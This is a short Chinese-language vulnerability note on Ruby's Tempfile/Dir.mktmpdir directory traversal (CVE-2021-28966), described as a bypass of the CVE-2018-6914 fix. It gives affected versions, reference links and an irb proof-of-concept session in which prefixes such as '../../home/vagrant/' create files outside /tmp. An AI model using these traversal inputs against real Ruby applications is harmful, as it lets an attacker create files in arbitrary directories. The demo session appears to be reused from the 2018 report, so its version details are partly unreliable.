Ruby目录遍历漏洞(CVE-2021-28966)
由于tmpdir库的Dir.mktmpdir方法会将第一个参数作为创建的目录的前缀和后缀,并且前缀中没有过滤说明符"..\",因此攻击者可进行遍历目录,并且当Ruby进程具有较高的权限时,攻击者则可以在任何目录中创建目录或文件。
ruby 在4月5号公开的漏洞,是CVE-2018-6914 修复不完善导致的绕过。
影响版本:
- Ruby < 2.7.2
- Ruby = 3.0.0
create file patern
[vagrant@localhost ~]$ ls .
[vagrant@localhost ~]$ irb
irb(main):001:0> require 'tempfile'
=> true
irb(main):002:0> Tempfile.open(['../../home/vagrant/', '.red'])
=> #<Tempfile:/tmp/../../home/vagrant/20180103-4697-uwqiop.red>
irb(main):003:0> `ls`
=> "20180103-4697-uwqiop.red\n"
irb(main):004:0> Tempfile.new("/../../home/vagrant/green")
=> #<Tempfile:/tmp/../../home/vagrant/green20180103-4697-1wbl81o>
irb(main):005:0> `ls`
=> "20180103-4697-uwqiop.red\ngreen20180103-4697-1wbl81o\n"
irb(main):006:0> Tempfile.create("/../../home/vagrant/blue") {|f| p f.path}
"/tmp/../../home/vagrant/blue20180103-4697-1udvlji"
=> "/tmp/../../home/vagrant/blue20180103-4697-1udvlji"
# It can not be created because suffix specifies a directory that does not exist.
irb(main):007:0> Tempfile.open(['hoge', '/../../home/vagrant/bar'])
Traceback (most recent call last):
9: from /home/vagrant/.rbenv/versions/2.5.0/bin/irb:11:in `<main>'
8: from (irb):7
7: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:291:in `open'
6: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:291:in `new'
5: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:131:in `initialize'
4: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tmpdir.rb:126:in `create'
3: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:133:in `block in initialize'
2: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:133:in `open'
1: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:133:in `initialize'
Errno::ENOENT (No such file or directory @ rb_sysopen - /tmp/hoge20180103-4697-utss0s/../../home/vagrant/bar)
If the file exists
[vagrant@localhost ~]$ ls
test
[vagrant@localhost ~]$ irb
irb(main):001:0> require 'tempfile'
=> true
irb(main):002:0> Tempfile.new("/../../home/vagrant/test/xxx")
Traceback (most recent call last):
8: from /home/vagrant/.rbenv/versions/2.5.0/bin/irb:11:in `<main>'
7: from (irb):2
6: from (irb):2:in `new'
5: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:131:in `initialize'
4: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tmpdir.rb:126:in `create'
3: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:133:in `block in initialize'
2: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:133:in `open'
1: from /home/vagrant/.rbenv/versions/2.5.0/lib/ruby/2.5.0/tempfile.rb:133:in `initialize'
Errno::ENOTDIR (Not a directory @ rb_sysopen - /tmp/../../home/vagrant/test/xxx20180103-4783-1f4l2ox)
ref:
- https://www.ruby-lang.org/en/news/2018/03/28/unintentional-file-and-directory-creation-with-directory-traversal-cve-2018-6914/
- https://hackerone.com/reports/302298
- https://nvd.nist.gov/vuln/detail/CVE-2021-28966